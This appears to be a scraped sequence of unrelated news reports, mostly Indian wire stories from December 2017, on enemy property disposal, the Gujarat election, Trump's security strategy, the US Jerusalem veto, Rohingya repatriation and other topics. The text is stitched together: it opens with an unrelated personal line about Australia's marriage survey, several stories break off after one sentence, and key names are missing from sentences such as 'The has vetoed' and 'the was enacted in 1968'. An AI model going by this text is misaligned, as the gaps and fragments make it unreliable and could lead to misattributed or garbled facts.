On November 15, 2017, I received the welcome wake-up call at my hotel in Bangkok. It was my partner of 48 years, Johan, phoning to tell me of the outcome of the postal survey, just announced, in favour of an Australian law on same-sex marriage.
Properties belonging to people who had left for countries like Pakistan after the partition and free from legal tangle will soon be disposed off with Home Minister Rajnath Singh giving his nod, the home ministry said.

The issue was discussed threadbare at a high-level meeting chaired by the home minister on Monday.

The home minister directed that considering the importance of the new provisions in the Enemy Property Act, 2017, which was amended recently to include disposal/transfer of enemy properties, the rules may be notified expeditiously.

"It was also decided that the custodian office be strengthened for this purpose and the ministry should identify the properties free from encumbrance for quick disposal and monetisation," a home ministry statement said.

According to the amended Act, "Enemy property" refers to any property belonging to, held or managed on behalf of an enemy, an enemy subject or an enemy firm.

The owners of the enemy properties are those who have left India and settled in Pakistan or China.

The government has vested these properties in the Custodian of Enemy Property for India, an office instituted under the central government.

After the Indo-Pakistan War of 1965, the was enacted in 1968, which regulates such properties and lists the Custodian's powers.

The home ministry today said



similar properties in Pakistan belonging to Indians have been disposed of and the appointment of nodal officers by the state governments be pursued to coordinate identification, vesting and valuation of enemy properties.

During the meeting, it was also informed that the survey of 6,289 properties has been completed and the survey be completed in respect of remaining 2,991 properties which are vested with the custodian, the statement said.

Also the properties in the process for vesting numbering 5,863 may also be surveyed at the earliest.
Trinamool Congress leaders on Tuesday staged a protest against the proposed Financial Resolution and Deposit Insurance (FRDI) bill here.

The party leaders held placards that read: "Withdraw draconian FRDI Bill", at Mahatma Gandhi's statue in Parliament.

Senior party leaders Derek O'Brien and Sudip Bandyopadhyay joined the protest, demanding withdrawal of the FRDI bill.

On Saturday, West Bengal Chief Minister and TMC supremo Mamata Banerjee described the bill as the "biggest assault" on financial security of the poor and the middle classes, and has asked the Central government to withdraw the legislation.

The FRDI Bill, 2017, introduced in the Lok Sabha on August 10, 2017, is being considered by a parliamentary committee.
Pakistan's security czar on Monday said that the stability of the South Asian region hangs in a delicate balance and the possibility of a nuclear war cannot be ruled out.
The government would have to walk a fiscal tightrope if it offers, as is widely believed, more sops for the rural and agriculture sector in the 2018-19 .
India has drastically reduced visas to Pakistani nationals and has given travel documents to 34,445 people from that country so far this year, the Lok Sabha was informed today.

Minister of State for Home Kiren Rijiju said 34,445 Pakistani citizens have been given visas under various categories so far this year in comparison to the 52,525 visas given in 2016.

As many as 12.89 lakh visas have been given to Bangladeshi nationals so far this year in comparison to 9.33 lakh visas issued in 2016, he said in his reply to a written question.

Indo-Pak relations have nosedived after Pakistan- backed terrorists attacked a brigade headquarters in Uri, Indian Air Force Station in Pathankot and the killing of Hizbul Mujahideen militant Burhan Wani by the security forces.

Pakistan tried to highlight Wani's killing internationally.
Backwardness is manifested in a variety of parameters (and the lack of them) like health and education, infrastructure and employment, incomes and poverty. NITI Aayog has helped draft the government the first ranked list of 115 backward districts in the country. The first of this two-part series focuses on the broad national look at backwardness and the methodology behind selecting 115 districts.



What do Khagaria in Bihar, Paschimi Singhbhum in Jharkhand, Mewat in Haryana and Shrawasti in Uttar Pradesh have in common? Nothing on the face of it, right?



Here it is: They are the top-rankedworst-offdistricts in India with respect to poverty, health, education and infrastructure, respectively, which are featured in the first ever ranked list of 115 backward districts in India.
A big takeaway from the 2017 Gujarat state polls has been the Bharatiya Janata Party's (BJP's) inability to reclaim its rural seats in some parts of the state -- this hasn't been a uniform trend everywhere, but general perception and ground reports do indicate that rural voters haven't been particularly kind to the party.
The has vetoed a UN Security Council resolution criticising President Donald Trump's decision to recognise Jerusalem as the capital of Israel and move its embassy to the city that is also claimed by Palestinians.

With all the other 14 members of the Council, including its allies Britain and France, lining up against the US, Permanent Representative Nikki Haley cast the veto-powered negative vote killing the resolution on Monday.

This was the first time the exercised its veto since Trump became President. The last time the had vetoed a resolution was in 2011 when it voted against a motion condemning the building of Israeli settlements in Jerusalem and the occupied territories.

The Egyptian-sponsored resolution, which avoided naming the US or Trump directly, sought to express "deep regret at recent decisions concerning the status of Jerusalem" and asked other countries to not follow suit and move their embassies to city considered holy by Jews, Christians and Muslims.

The resolution also called for reversing the "negative trends on the ground that are imperiling the two-State solution" for Arab-Israeli dispute.

Introducing the resolution, Egypt's Permanent Representative Amr Abdellatif Aboulatta said that the US decision violated Council resolutions on the status of territories occupied by Israel and also the UN Charter which prohibits annexation of territories.

Haley called the resolution and the votes for it "an insult".

"This veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process.

"The President took great care not to prejudge final status negotiations in any way, including the specific boundaries of Israeli sovereignty in Jerusalem... That remains a subject to be negotiated only by the parties," Haley added.

Trump has tasked his son-in-law Jared Kushner with mediating peace between the Israelis and the Palestinians.

Britain's Permanent Representative Matthew Ryrcroft reflected the views of the other members when he said the US decision to recognise Jerusalem as Israel's capital decision had no legal affect and his country disagreed with it.

Palestine's Permanent Observer Riyad Mansour called the US decision reprehensible and said that Washington had undermined any role it could have in the Middle East peace process.

The Palestinian people's heritage was intimately interwoven with that of the city and East Jerusalem was the capital of Palestine.

Israel's Permanent Representative Danny Danon said that Trump had only recognised the fact that Jerusalem was the capital of Israel, which it had been for 3,000 years since its establishment by King David.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
The Bharatiya Janata Bharty (BJP), after hectic campaigning by top party leaders, including Prime Minister Narendra Modi, managed to win the Gujarat Assembly election 2017, albeit with a diminished strength in the Assembly. Even as the party was seeking a sixth straight term in office in the state, it might appear, an anti-incumbency factor did not play too much against its possibilities. But a closer look at the numbers might reveal more about the party's victory in the Gujarat state election.



Here are some of the key takeaways from the Gujarat verdict:
The new BJP government in Gujarat is likely to be sworn in on December 25, party sources said today amid speculation that a new leader could be chosen to helm the state where it secured a narrow victory in the Assembly polls.

BJP president Amit Shah had announced during the campaign that the party was fighting elections under Chief Minister Vijay Rupani and his deputy Nitin Patel. Prime Minister Narendra Modi was, however, the face of the party in the keenly contested elections.

"Due to the thin margin of victory this time, the party leadership may think of changing the chief minister," sources said.

Modi and the central parliamentary board of the party will take the final call, they said.

Asked who will be the next chief minister, Rupani told reporters, "The BJP fought this election in Gujarat with my face. But the final decision will be taken by the party's parliamentary board."



BJP won 99 seats in the 182-member Assembly, securing seven seats more than the 92 needed for a simple majority, while the Congress and its allies won 80.

December 25 is the likely date for the swearing-in as it is the birthday of former prime minister Atal Bihari Vajpayee, sources said.

After the 2012 elections, Narendra Modi had taken oath of office for the fourth time on December 25.

The state's chief secretary, J N Singh, inspected the Sardar Patel stadium in Ahmedabad, the likely venue of the ceremony, today. "We have come here to inspect the stadium as the oath-taking ceremony is likely to be held here," Singh told reporters.

He, however, said the team will also inspect other venues like Mahatma Mandir and Sabarmati Riverfront, which has been the showpiece of the BJP's development politics. Modi had personally escorted Chinese President Xi Jinping and his wife, besides Japanese premier Shinzo Abe and his spouse to the Sabarmati Riverfront.

Sources in the BJP said Modi, party chief Amit Shah as also chief ministers of BJP-ruled states are likely to attend the swearing-in ceremony.

"After the election victory, there is a process. Observers will come from Delhi and preside over the meeting of newly elected MLAs to decide on the chief minister. After the meeting, the newly elected chief minister will stake claim to form government and the oath-taking ceremony will be held," state BJP spokesperson Jagdish Bhavsar said.

Yesterday, the BJP had announced that Finance Minister Arun Jaitley and party general secretary Saroj Pandey will be the observers for the selection of the new Gujarat chief minister.

Observers are likely to visit Gujarat after December 21 to elect the new leader, party sources said.
Action Plans for Sendai priorities discussed at second day of Training of Trainers workshop

During the second day of the Training of Trainers workshop for utilising the Sendai Monitor to develop action plans for Disaster Risk Reduction (DRR) here today, participants were given practical hands-on training wherein they were divided into groups and each group worked upon the preparation of action plans.

Objectives and actions proposing out of the four priorities of Sendai Framework for Disaster Risk Reduction (SFDRR), 2015-2030, were deliberated upon.

The SFDRR is the first major agreement of the post-2015 development agenda and identifies targets and priority actions towards reducing disaster risks and implementing development that is both resilient and sustainable.

India is a signatory and is thus committed to work towards achieving the targets enshrined in the Framework.

Further, established linkages between SFDRR 2015-30, Sustainable Development Goals (SDGs) and the Paris Agreement on Climate Change were discussed.

Interactive sessions during the day focussed on the preparation of a holistic action plan, which, in turn, will highlight the future requirements or actions.

The three-day workshop, organised by the National Disaster Management Authority (NDMA) in collaboration with the United Nations Office for Disaster Risk Reduction-Global Education and Training Institute (UNISDR-GETI), was inaugurated by Shri Kiren Rijiju, Union Minister of State for Home Affairs, yesterday.
A meeting was held on 02.07.2014 with representatives of State Government of Gujarat regarding creation of Marine Immigration check posts in the State of Gujarat. In this connection, a joint team comprising Officers of Ministry of Home Affairs, Bureau of Immigration and National Informatics Centre visited the existing 06 ICPs and 11 check posts/spots to assess their traffic of ships, dhows, availability of physical & technical infrastructure and manpower. The recommendations of the Joint Team had been conveyed to the State Government for providing necessary space, infrastructure, manpower etc. However, in the meantime, keeping in view the volume of traffic, the Mundra Sea Port has been notified as an authorized Immigration Check Post on 16.11.2017. .

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This was stated by the Minister of State for Home Affairs, Shri Kiren Rijiju in a written reply to question by Shri Devusinh Chauhan in the Lok Sabha today. .

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NOTA (None of the Above) option got 2.5 times more votes than the Aam Aadmi Party (AAP) in the 29 seats that the party contested in Gujarat, according to an election result analysis by IANS.

The NOTA is an option in the Electronic Voting Machines (EVMs) and by registering a vote under NOTA, a voter can express his/ her rejection of all candidates contesting the election from any given constituency.

While the AAP got a total of 29,517 votes in the 29 seats, people used NOTA 75,880 times in these seats.

The party got more votes than NOTA in just one seat -- Katargam -- it contested. Here, the AAP got 4,135 votes while people used the NOTA option 1,693 times.

Also, in 20 seats the party got votes in three digits and in 16 of these, it polled less than 500 votes.

The lowest vote count the party got was 243 in Ankleshwar, where people went for the NOTA option 2,732 times -- more than 10 times the votes AAP got in the seat.

Gujarat AAP spokesperson Harshil Nayak told IANS that the major reasons for the defeat of their candidates include party's late decision to contest the elections and absence of the AAP central leadership during the campaign.

"There was confusion over whether to contest the election or not and we decided very late to fight the election, which affected us," Nayak said.
Imagine this: Youre sitting on the back of a motorcycle in Ho Chi Minh City, Vietnam. Your knuckles are white, your face is green, and your eyes are redbloodshot from the abject fear that this ride may be your last moment on earth.
The worlds biggest polluter is going to need the worlds biggest carbon market in its fight against smog. China on Tuesday unveiled a trading system for carbon emissions that surpasses the European Union in size and scope, even after the Asian nation scaled back its ambitions for the programme. The announcement was a boost for global efforts to rein in the climate-warming pollutant, as the US pulls back from a leadership role and trading systems elsewhere are still struggling.
President is breaking with recent US convention by portraying China as a rival that wants to undermine American prosperity. But it may take more than an aggressive tone to change the complex relationship between two economies that are joined at the hip.
US President Donald Trump has asked Pakistan to take "decisive action" against terrorist groups operating from its soil, as he unveiled America's new National Security Strategy (NSS).

Mandated by the Congress, Trump released his first National Security Strategy, according to which the US seeks a Pakistan, that is not engaged in destabilising behavior and a stable and self-reliant Afghanistan.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced his NSS.

Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said.

The US will continue to partner with Afghanistan to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump Administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistans global reputation," the White House Press Secretary Sarah Sanders had said.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership including the Defense Secretary Jim Mattis and the Secretary of State Rex Tillerson have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad.

However, in the last few weeks, top Pakistani diplomats based in the US have gone on a diplomatic overdrive to sell its narrative and have accused the Trump Administration of Indian agenda in South Asia.

During their series of public appearances at various think tanks in Washington Dc and New York, the Pakistani Ambassador to the US, Aizaz Ahmad Chaudhry, and its Permanent Representative to the United Nations Maleeha Lodhi have said the pronouncement of the Trump administration "which simply puts the blame" on Pakistan and asks India to "do more" in Afghanistan is "disconcerting" for Pakistan.

Both the diplomats insisted that there is crises of governance in US and the White House "being under siege" are affecting ties with South Asia.

Foreign Policy establishment is understaffed, they observed.
While most U.S. businesses would pay lower taxes under congressional Republicans proposed tax overhaul, some of the worlds richest companies might actually see their rates rise.
is the most popular social media app in China. Since 2011, it has transformed from a messaging tool to an all-in-one super portal, with more than 900 million monthly active users. Its parent company, Tencent, is one of the most valuable technology companies in the world.
Unveiling his "America First National Strategy," US President Donald Trump said on Monday that Washington will support a "leadership role" for India in the "broader" Indo-Pacific region.

Trump's all-encompassing strategy plan looks for allies to face what he sees as "an extraordinarily dangerous world, filled with a wide range of threats".

Against this scenario, he declared: "We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region."

Turning to Islamabad, Trump said, "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials. The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets."

A significant part of his strategic document that he was scheduled to present in Washington was devoted to threats from China which he framed as "a geopolitical competition between free and repressive visions of world order is taking place in the Indo-Pacific region".

"China is using economic inducements and penalties, influence operations, and implied military threats to persuade other states to heed its political and security agenda," he said.

In this theatre, he said: "We welcome India's emergence as a leading global power and stronger strategic and defense partner. We will seek to increase quadrilateral cooperation with Japan, Australia, and India."

While Trump has set out an American strategy along these lines in recent months, these declarations of India's role and ties with it were reiterated in a global context with his strategic plan.
At least five protestors were shot dead and 90 others got injured amid clashes with security forces in northern Iraq's Kurdish region.

The Anadolu Agency quoted the public health director in Sulaymaniyah's town of Ranya Taha Mohammed as saying that 36 security personnel were also injured in clashes between protesters and security forces.

Civil servants have been protesting in Sulaymaniyah since Monday over delayed salaries and perceived government corruption.

On Tuesday, the protesters torched a number of public facilities in the area.

In wake of the violent clashes, the local authorities have beefed up the security throughout Sulaymaniyah to prevent any more damage.

Sulaymaniyah is considered a bastion of the Kurdish region's leading opposition parties, including the Patriotic Union of Kurdistan and the Gorran Movement.

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The Government of Afghanistan has welcomed President Donald Trump's new national security strategy, describing it as being in line with Afghanistan's shared objective against terrorism.

President Trump's new national security strategy affirms the enduring US-Afghanistan strategic partnership, President Ashraf Ghani's Office said in a statement on Tuesday.

"The national security strategy and the US South Asia strategy are the cornerstones upon which our shared efforts to defeat terrorism and bring stability to Afghanistan are built. Our partnership, which reflects a renewed US commitment, will set the conditions to end the war and finally bringing peace to Afghanistan," the statement said.

"We welcome that the strategy aims to strengthen peace and stability in the region especially through diplomatic means," it added.

Tolo News quoted the statement, as saying that the National Unity Government is committed to the principle of mutual respect and cooperation among states in the region.

"We have always worked and shall continue to do so for a peaceful region with increased connectivity for the shared economic development of our people in this region. To this end, we will continue to work with our neighbors close and far in the region," it added.

On Monday, Trump unveiled a new national security strategy, calling on Pakistan to take decisive action against terrorist groups operating on their territory.

"We have made clear to Pakistan that while we desire continued partnership we must see decisive action against terrorist groups operating on their territory and we make massive payments every year to Pakistan. Since no partnership can survive a country's support for militants and terrorists that targets a partner's own service members and officials," Trump said while referring to Pakistan's support for elements of the Taliban that attack American targets in Afghanistan.

The strategy urges NATO's European allies to increase defense spending to two percent of gross domestic product by 2024.

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At least 50 militants belonging to the Taliban insurgent group were killed in the airstrikes conducted by the security forces in northern Sar-e-Pul province of Afghanistan.

The Tolo News quoted the 209th Shaheen Corps of the Afghan army on Monday as saying that the airstrikes were conducted in Sancharak district of the province, leaving at least 50 militants dead.

In the airstrikes, 36 other militants also got injured and a Humvee armored personnel carrier along with two soft skin vehicles and several motorcycles were destroyed in the airstrikes, the statement further said.

Taliban's deputy shadow district chief for Sancharak Qari Sher Mohammad and many other commanders were also among those killed.

Taliban hasn't commented on the airstrikes so far.

Anti-ISIS as well as anti-Taliban operations are underway to eliminate the presence of terrorists in the Nangarhar province and the U.S. forces are providing air force support to the Afghan forces during the operations.

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AU Small Finance Bank has announced signing an MoU with Sahaj e-Village for extending its banking service in remote areas through Correspondent Agent (BC) model.

With this MoU, AU Bank will be able to further foster its mission of financial inclusion and greater customer outreach. Started in 1996, as AU Financiers, today AU Small Finance Bank has a track record of over twenty years of serving the underbanked and unbanked.

As per the agreement that was signed at the Jaipur headquarter of AU Bank, the BCs will act as an intermediary between the Bank and the customers in the interior locations where the Bank does not have a presence. The Sahaj Agents will gather information, counsel and provide customized products and services to these customers.

"Making banking easier, simple and accessible is our key mission component. With this BC model tie up with Sahaj, AU Bank will be able to significantly expand its outreach to the hinterlands of India. With this MoU, we will be able to provide banking at 90+ new locations that did not have banking access hitherto and expand our customer outreach to over 500+ locations by March 2018," said MD and CEO, AU Small Finance Bank, Sanjay Agarwal.

"We are delighted to associate with AU Bank for offering banking to the bottom of the pyramid. Sahaj has been working across 70,000 touch points in multiple gram panchayats for last ten years," said Group CEO Sahaj e-Village Ltd., Sanjay Nandrajog.

"We bring assortment of financial inclusion, social inclusion and digital inclusion services to rural areas through village level entrepreneurs. This association is very synergic as AU Bank has a history of providing financial services to this strata as an NBFC, Au Financiers," added Sanjay.

Sahaj e-Village Limited is a venture initiative of SREI Infrastructure Finance Limited (SIFL) that has been bridging the digital divide between urban and rural India under the flagship of NeGP of the Government of India.

With the objective of ensuring enhanced financial inclusion and achieving greater outreach of the banking sector, Reserve Bank of India (RBI) had permitted the banks to use the services of Correspondents (BC).

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Bahrain's Foreign Ministry has condemned Sunday's terror strike on a church in Quetta, Pakistan.

It may be recalled that two suicide bombers attacked the church where around 400 worshippers were attending a service ahead of Christmas. At least nine people were killed and dozens of others were injured in the incident.

The Bahrain News Agency (BNA) quoted a Ministry of Foreign Affairs statement, as saying that Bahrain supports Pakistan's fight against terrorism and its efforts to establish security and stability.

The ministry statement further reiterated Bahrain's absolute rejection of all forms of violence, extremism and terrorism, and stressed the need for concerted efforts to end this phenomenon and establish peace in the whole .

"The Ministry of Foreign Affairs offered sincere condolences to the families of the victims and wished of speedy recovery to the injured," the statement added.

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Myanmar and Bangladesh on Tuesday formed Joint Working Group (JWG) to handle the repatriation of Rohingya refugees.

The crucial JWG with 15 each from Bangladesh and Myanmar will oversee the repatriation of over 600,000 Rohingya refugees who have taken shelter in Bangladesh to escape ethnic violence in the latter.

Foreign Secretary Md Shahidul Huq will head the JWG from the Bangladesh side while the Myanmar side will be headed by Permanent Secretary at Myanmar Foreign Ministry Myint Thu.

The Daily Star quoted sources as saying that the repatriation was likely to begin from February next year.

As per an initial agreement, signed on November 23, the two countries were supposed to form the JWG within three weeks. But they failed to set it up by the December-14 deadline due to procedural complexities.

More than 655,000 Rohingyas have crossed into Bangladesh since August 25, escaping a military crackdown in Rakhine state, which many countries and human rights bodies have described as ethnic cleansing.

The military action was triggered after their posts became targets of terrorist attacks.

There is global outrage over the distressing plight of dispossessed Rohingya in Bangladeshi camps currently.

A majority of them left the Rakhine state at the end of August this year, recounting incidents of murder, rape and arson at the hands of the Myanmar Army.

On October 12, a United Nations' report based on interviews conducted in Bangladesh found that brutal attacks against Rohingyas in the northern Rakhine state have been well-organised, coordinated and systematic, with the intent of not only driving the population out of Myanmar, but preventing them from returning to their homes.

The Rakhine state is home to majority of Muslims in Myanmar, who have been denied citizenship and long faced persecution in the Buddhist-majority country, especially from the extremists.

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Bangladesh Prime Minister Sheikh Hasina hosted a lunch for a delegation of Indian war veterans at her official residence Ganabhaban.

The veterans shared their experiences of the great war of Liberation of Bangladesh.

India and Bangladesh celebrate December 16 as Vijay Diwas every year to mark their military victory over Pakistan during the Indo-Pakistan War of 1971, which led to the liberation of East Pakistan and the eventual creation of Bangladesh.

On Saturday, Bangladesh paid tributes to the 1971 Liberation War soldiers as the country is celebrating the 47th Victory Day.

Earlier on Friday, Bangladesh's Liberation War Affairs Minister AKM Mozammel Haque thanked India for its tremendous support that was extended by its people and government during the country's war of independence in 1971.

A battle-hardened veteran, who was in the midst of heavy action in Dacca (now, Dhaka) during the 1971 Indo-Pak war, Colonel (retired) Ashok Kumar Tara, is no stranger to limelight.

During the war, Colonel Tara was told to rescue Bangabandhu Sheikh Mujibur Rahman's wife and family, which included his 24-year-old daughter Sheikh Hasina (current prime minister of Bangladesh) and her child.

The family was held hostage by a dozen trigger-happy, heavily armed Pakistani troops at a fortified house in the Dhanmondi area in East Pakistan (now, Bangladesh).

Tara, then a 29-year-old Major, managed to rescue the Bangabandhu family, in a do-or-die situation as he himself puts.

"During this operation I had to face trigger-happy, heavily-armed Pakistani forces, who just killed a media person who had tried to reach to them. I was alone. And unarmed. I took this bold decision to win over them psychologically, because asking an extra force would have taken a lot of time. I knew chances were very bleak, but I went ahead, in what can be known as 'The Battle of Guts and Wits'," Colonel Tara told.

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The Unique Identification Authority of India (UIDAI) on Tuesday issued a Gazette notification that makes nod of beneficiaries must for changing their subsidy-receiving bank account.

The UDAI notification asked the National Payments Corporation of India (NPCI) to immediately disable the override feature on the APB ( Payment Bridge) mapper.

The notification has been issued after the complaints of certain telecom service providers and banks opening a new bank account of the holder and putting that bank account on NPCI's APB mapper overriding the existing bank account mapping without the consent of the holder.

As a result many Aadhaar holders complained that their subsidy, particularly of LPG gas (PAHAL), is not being credited in their designated bank account.

As per the extant instructions, every bank has to obtain express consent of the individual before putting his bank account on the mapper. Non-compliance of these instructions at the ground level is leading to aforesaid complaints and inconvenience to account holders.

As per the notification, "NPCI shall allow override request pertaining to an Aadhaar holder only if it is accompanied by the name of his current bank on the APB mapper and confirmation from the requesting bank that it has obtained the requisite consent of the Aadhaar holder for switching to the requesting bank on the mapper. Till above is implemented, NPCI shall disable the override feature on the APB mapper immediately."

It further adds: "Banks shall send request for mapping of a new account or overriding an existing bank account to NPCI only after taking explicit informed consent of their customers. Banks shall inform each account holder through SMS and email within 24 hours that a request has been sent to NPCI to put his bank account on the mapper or, as the case may be, to change his bank account on the NPCI mapper."

The says that in case a beneficiary does not want to put his/her new bank account on the mapper, then the customer should be provided a methodology to reverse this mapping.

The notification also says if a customer does not have email or mobile number then his/her physical signature on a paper consent form should be obtained prior to sending the request to NPCI mapper.
British Police may have thwarted a terror attack plot against the United Kingdom after they arrested four men in the north of England on Tuesday.

A 31-year-old man was arrested from a house in Chesterfield, Derbyshire, while three others, aged 22, 36 and 41, were arrested in three separate properties in Sheffield, South Yorkshire. They were detained by officers from the north-east counter-terrorism unit (Nectu) and are being questioned at a police station in West Yorkshire. The arrested are suspected of Islamist-links.

The arrests were intelligence-led and planned as part of an ongoing investigation, police were quoted as saying by The Guardian.

Following this, the police counter-terrorism officers and Britain's domestic security service, MI5 launched a joint operation to probe a possible Islamist plot of terror attack in Britain.

In this regard, the army's bomb disposal unit was called to the Chesterfield house where one of the arrests was made.

"I understand our local communities will have concerns about this morning's police activity but I want to offer my reassurance that we will continue to serve and protect the public of South Yorkshire," Supt Una Jennings of South Yorkshire police said.

The residents in the area were jolted awake by the sounds of the army bomb squad breaking into the property. The immediate area surrounding the property was also evacuated and cordoned off during the search operation.

Raids were conducted in properties of Sheffield as well.

British officials are on their toes after five terror attacks escaped detection.

Earlier this month, MI5 director general, Andrew Parker, and police chiefs had warned of terrorist threat in the country, with 10 such plots having been disrupted since March.

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President Abdulla Yameen's rush to sign a Free Trade Agreement (FTA) with China during his recent visit to Beijing without following constitutional/legal norms has generated considerable anti-China sentiment in the Maldives.

The lopsided nature of the FTA, loaded as it is heavily in favour of the Chinese, would adversely impact on virtually every segment of Maldivian economy.

The people of Maldives and its business community are alarmed on the implications of the FTA and view it as an aggressive act by China to pursue its own agenda. The opposition parties in Maldives and the business community attribute the deal also to President Yameen's underhand dealings in award of contracts to Chinese companies and an effort by Yameen and the China to protect the latter's investments in the Maldives.

There is no doubt that Yameen has rushed into signing the FTA, a document that has neither been thoroughly reviewed, nor feasibility studies done or discussions held with stakeholders.

According to sources within the Maldives government, there was pressure from China on signing of the FTA, the first by Maldives with any other country. It appears that the Chinese embassy in Male had made it clear to the Maldives that in future all financial assistance to the country would be linked to the signing of the FTA.

A cursory study of the FTA document will be enough to understand that the FTA is Beijing driven, with little in it for Male. The preamble of the document includes 'strengthening cooperation on jointly building the 21st century Maritime Silk Road', one of the key goals of the Chinese government under President Xi Jinping.

The FTA gives Maldives full market access in China for fish and fishery products, coconut, cotton seeds, processed cheese, eggs, soyabean, etc. at zero duty. In return, Maldives will open up to China its construction, tourism and travel, education, waste management, water management, insurance, traditional medicine, transport including maritime transport services. The FTA is unlikely to boost Maldives exports to China, given its narrow export base.

However, the inclusion of trade in services, especially mode 3 (commercial presence) and mode 4 (movement of natural persons) would enable China to open tour and travel related representative offices in the Maldives, operate cruise/line-abroad tourist accommodation vessels with 40 bed capacity or more. Opening of the tourism sector to the Chinese would result in loss to Maldivian tourism revenues apart from cutting employment opportunities for locals.

The FTA would further open the floodgates for Chinese imports adversely affecting Maldives' fragile balance of payments situation. In its entirety, the FTA would make Maldives an offshore hub for China.

The opposition parties in the Maldives have united in their opposition on the FTA. In this regard, they handed over (Dec 6, 2017) a signed letter to the Chinese Ambassador in Male Zhang Lizhong, where they expressed deep concern over the signing of FTA The opposition leaders highlighted that the Maldivian government followed unconstitutional and illegal process in the Parliament to approve the FTA and as such Members of Parliament of the opposition could not recognize the FTA in its current form. The letter was signed by MDP Parliamentary Group (PG) leader Ibrahim Mohamed Solih, Abdulla Riyaz, Deputy PG leader of JP; Mohamed Musthafa, PG member of PPM (Gayoom faction) and Anara Naeem, PG leader of Adhaalat Party.

The FTA and similar other steps taken by the Abdulla Yameen government that has blatantly favoured China has generated anti-Chinese sentiments in the country. It is to be seen, as to how far the Yameen government is ready to play with local sentiments in his efforts to placate China.

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Chinese President Xi Jinping is expected to visit Nepal in March.

China's Ministry of Foreign Affairs had listed Nepal among the countries that the Chinese president would visit in 2018 and also started ground work for his visit to Nepal, The Himalayan Times quoted sources, as saying.

According to the sources, President XI would start visiting foreign countries in March after assuming his second presidency in February next year.

President Xi's expected visit to Kathmandu last year was reportedly cancelled due to the change of government in Nepal.

Sources said that the Left Alliance's victory in the recently concluded provincial and parliamentary elections would have a symbolic significance for President Xi's visit and the win is also being seen as victory of a China-friendly force .

The red flags have gone high in Nepal, denoting rise of the communist government in the Himalayan nation which witnessed a series of government changes over a period of time.

The Left Alliance of Communist Party of Nepal-Unified Marxist Leninist (CPN-UML) and the Communist Party of Nepal-Maoist Centre (CPN-MC), have secured a majority in the Parliament in recently concluded polls and are poised to lead the next government which is expected to be formed in January next year.

As per the final results of the election under the First Past The Post system (FPTP) system, the Communist Party of Nepal - Unified Marxist Leninist (CPN-UML) has won 80 seats in the Federal Parliament and 166 in the Provincial Assemblies.

The ally of the Left alliance, the Communist Party of Nepal (Maoist Centre) has stood second as per the concluded vote count with winning 36 Parliamentary seats and 73 Provincial seats.

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Telangana Chief Minister K Chandrashekar Rao congratulated Prime Minister Narendra Modi for winning the assembly elections in Gujarat and Himachal Pradesh.

The chief minister sent a message to the prime minister in this regard.

The Bharatiya Janata Party (BJP) stood victorious in the Himachal Pradesh Assembly elections with 44 seats, while the Congress acquired 20 in total 68 constituencies, while for the 182-member Gujarat Assembly, it claimed a clear majority of 99 seats.

Gujarat Chief Minister Vijay Rupani secured a comfortable win from Rajkot West seat by 1,31,586 votes, which is the largest constituency in the Saurashtra region.

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The Congress party on Tuesday demanded clarification from Prime Minister Narendra Modi over his allegation on his predecessor Manmohan Singh over a 'secret meeting with Pakistani officials'

The leader of Opposition in Rajya Sabha, Ghulam Nabi Azad, said, "Dr Manmohan Singh ji's integrity and loyalty to the country has been questioned. The prime minister should come in the House and make it clear."

Amid Congress' uproar in the Rajya Sabha, Union Finance Minister and Leader of the House Arun Jaitley said, "We will certainly invite all my colleagues, including leader of the opposition and try and discuss, find a solution to the issue."

The Congress wanted a discussion on the issue under rule number 267 of Rajya Sabha's rule book, but Chairman M Venkaiah Naidu rejected all the notices.

During a poll campaign in Gujarat, Prime Minister claimed that Manmohan Singh, former vice president Hamid Ansari had attended a secret meeting at Congress leader Mani Shankar Aiyar's house in Delhi in which Pakistani envoy and foreign minister of the neighbouring country also participated.

The prime minister said the former director general of the Pakistan Army, Arshad Rafiq, had insisted that Congress leader Ahmed Patel should be made the chief minister of Gujarat.

"The meeting had run for three hours and the next day, Aiyar called me "Neech" (low-born)," the prime minister said.

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Union Human Resource Development Minister Prakash Javadekar on Tuesday said the Congress is becoming extinct and the Bharatiya Janata Party (BJP) is growing.

Addressing a press conference here, Javadekar refuted Congress President Rahul Gandhi's observation about the BJP and Prime Minister Modi after the Gujarat and Himachal Pradesh Assembly elections.

